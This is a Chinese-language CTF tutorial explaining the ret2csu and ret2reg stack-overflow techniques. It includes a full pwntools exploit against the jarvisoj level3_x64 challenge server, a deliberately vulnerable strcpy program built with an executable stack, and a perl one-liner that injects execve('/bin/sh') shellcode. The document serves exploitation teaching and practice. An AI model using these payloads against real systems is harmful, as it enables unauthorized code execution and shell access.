ret2csu

原理

我们知道64位程序中函数的前六个参数时通过寄存器传递的,一次保存在rdi,rsi,rdx,rcx,r8和r9中,如果有更多参数才会保存在栈上
但当我们需要多个参数时,很难找到每一个寄存器对应的gadget,这时候我们可以利用x64下的__libc_csu_init中的gadget。这个函数时用来对libc进行初始化操作的,而一般的程序都会调用libc函数,所以这个函数一定会存在。
函数具体如下(不同版本可能略有区别)

这里通常利用两段gadget
gadget1

1
2
3
4
5
6
7
.text:00000000004011E2                 pop     rbx
.text:00000000004011E3 pop rbp
.text:00000000004011E4 pop r12
.text:00000000004011E6 pop r13
.text:00000000004011E8 pop r14
.text:00000000004011EA pop r15
.text:00000000004011EC retn

gadget2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:00000000004011C8 loc_4011C8:     ; CODE XREF: __libc_csu_init+4C↓j
.text:00000000004011C8 mov rdx, r15
.text:00000000004011CB mov rsi, r14
.text:00000000004011CE mov edi, r13d
.text:00000000004011D1 call qword ptr [r12+rbx*8]
.text:00000000004011D5 add rbx, 1
.text:00000000004011D9 cmp rbp, rbx
.text:00000000004011DC jnz short loc_4011C8
.text:00000000004011DE
.text:00000000004011DE loc_4011DE: ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004011DE add rsp, 8
.text:00000000004011E2 pop rbx
.text:00000000004011E3 pop rbp
.text:00000000004011E4 pop r12
.text:00000000004011E6 pop r13
.text:00000000004011E8 pop r14
.text:00000000004011EA pop r15
.text:00000000004011EC retn

通常我们先利用gadget1对相应寄存器赋值,然后控制程序返回到gadget2执行

  • gadget2的开头分别进行赋值操作,rdx=r15,rsi=r14,edi=r13d,虽然这里赋给的时edi,但其实此时rdi的高32位寄存器值为0,所以可以控制rdi寄存器的值,只是只能控制低32位的值
  • 注意到0x04011D5到0x04011DC这里的操作:先让rbx的值自加一,然后比较rbp与rbx的值,若不相等则执行loc_4011C8。在这里我们希望它跳过这条指令继续执行下面的程序,所以在gadget1中设置rbx的值为0,rbp的值为1
  • 注意0x04011D1这里的指令,call qword ptr [r12+rbx*8],即以r12+rbx\*8的值为指针调用其指向的函数([]为取出寄存器的值),又由于我们已经将rbx的值设置为1,所以这里就是调用r12的值指向的函数。所以如果要利用这里进行函数调用则需要在gadget1中将r12设置为相应函数的got表地址()
  • 跳转到gadget2后,执行到0x04011DE时,后续的指令为:降低栈顶8字节,然后连续pop掉6个栈顶元素。由于执行到这里时我们已经达成了利用这段gadget的目的,所以只需要填充7*8=56字节垃圾数据在这里即可
  • 上述布置需要输入offset+9*8+7*8=offset+128字节,若可读入字节有限需要考虑改进或其他方法

我们可以得到这样的关系

1
2
3
rdx=r15
rsi=r14
rdi=edi=r13

当我们需要执行read或write这种需要三个参数的函数时,便可以相应地布置其参数

通用函数

当一次攻击需要多次使用这段gadget时可以写一个函数来构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def csu(func_got,rdi,rsi,rdx,ret_addr)
payload = 'a'*offset #padding
payload += p64(gadget1) #返回地址
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(func_got)#r12
payload += p64(rdi) #r13
payload += p64(rsi) #r14
payload += p64(rdx) #r15
payload += p64(gadget2) #retn
payload += 'a'*56 #padding
payload += p64(ret_addr)
r.sendline(payload)


利用csu(write_got,1,write_got,8,main_addr)即可实现输出write函数的真实地址并返回到程序开始

例题

jarvisoj_level3_x64
思路略

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import*
from LibcSearcher import*
context(os='linux', arch='amd64', log_level='debug')
#r = process('./level3_x64')
r = remote("pwn2.jarvisoj.com",9883)
elf = ELF('./level3_x64')
write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.symbols['main']
gadget1 = 0x04006AA
gadget2 = 0x0400690
pop_rdi = 0x04006b3

def csu(func_got,rdi,rsi,rdx,ret_addr):
payload = 'a'*0x88
payload += p64(gadget1)
payload += p64(0)
payload += p64(1)
payload += p64(func_got)
payload += p64(rdx)
payload += p64(rsi)
payload += p64(rdi)
payload += p64(gadget2)
payload += 'b'*56
payload += p64(ret_addr)
r.sendline(payload)

r.recvuntil("Input:")
#gdb.attach(r)
csu(write_got,1,write_got,8,main)
r.recvuntil("\n")
write_addr = u64(r.recv(8))
print 'write_addr==>',hex(write_addr)
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

payload1 = 'a'*0x88 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
r.recvuntil("Input:")
r.sendline(payload1)

r.interactive()

ret2reg

原理

ret2reg,即return to register,攻击绕过地址混淆ASLR返回到寄存器地址
用于开启ASLR的ret2shellcode题型。函数执行后,传入的参数在栈中传给寄存器,但函数结束时并没有将寄存器复位,从而导致该寄存器还保存着参数。当该参数为shellcode时,如果能在程序中找到jmp/call reg.代码片段时,便能跳转至该寄存器执行shellcode

利用方法

  1. 查看栈溢出返回时哪个寄存器指向缓冲区空间
  2. 查找相应的 jmp/call reg指令,使EIP为该指令地址
  3. 将寄存器所指向的空间上注入shellcode(该空间需要是可执行的,通常是栈上)

    防御方法

    在函数ret之前,将所有赋值过的寄存器复位清0

此类漏洞常见于strcpy字符串拷贝函数中

例题

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <string.h>
void evilfunction(char *input) {
char buffer[512];
strcpy(buffer, input);
}
int main(int argc, char **argv) {
evilfunction(argv[1]);
return 0;
}

开启地址随机化

echo 2 > /proc/sys/kernel/randomize_va_space

编译

gcc -Wall -g -o vul vul.c -z execstack -m32 -fno-stack-protector

分析程序


  • 看到程序将argv[1]对应的字符串拷贝进buffer中,而argv[1]就是程序接收的命令行参数
    ./vul 123123
  • 123123就是我们输入的第一个命令行参数,$argv[0]是脚本文件名,argv[1]为输入的第一个参数

查看evilfunvtion函数的汇编指令

看到lea eax, [ebp+buffer],即将[ebp+buffer]的偏移地址存进eax,也就相当于eax指向了buffer缓冲区
此时便可以向buffer写入shellcode,并找到jmp/call eax指令地址覆盖EIP,从而拿到shell

查看一下在evilfunction函数运行到return前时,eax是否还指向缓冲区地址
(从上一张图可以看到return指令的地址为0x0804842B)

1
2
3
gdb --args vul 123123
b *0x0804842B
r

看到eax的值仍为缓冲区地址

查找jmp/call eax

于是可以构造payload
payload = shellcode + (0x208 + 4 - len(shellcode))*'a' + p32(0x08048373)

exp

使用perl命令即可打通

1
./vul $(perl -e 'printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" . "A"x499 ."s\x83\x04\x08"')

补充

  1. perl -e 是perl在命令行中执行的命令,printf是将后面紧跟的字符串写入标准输出流
  2. \x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80是事先生成的shellcode,25个字节,要填充的A个数为0x208+4-25=499
  3. s\x83\x04\x08p32(0x08048373),即call eax指令地址32位打包
  4. "A"x499 是产生499个A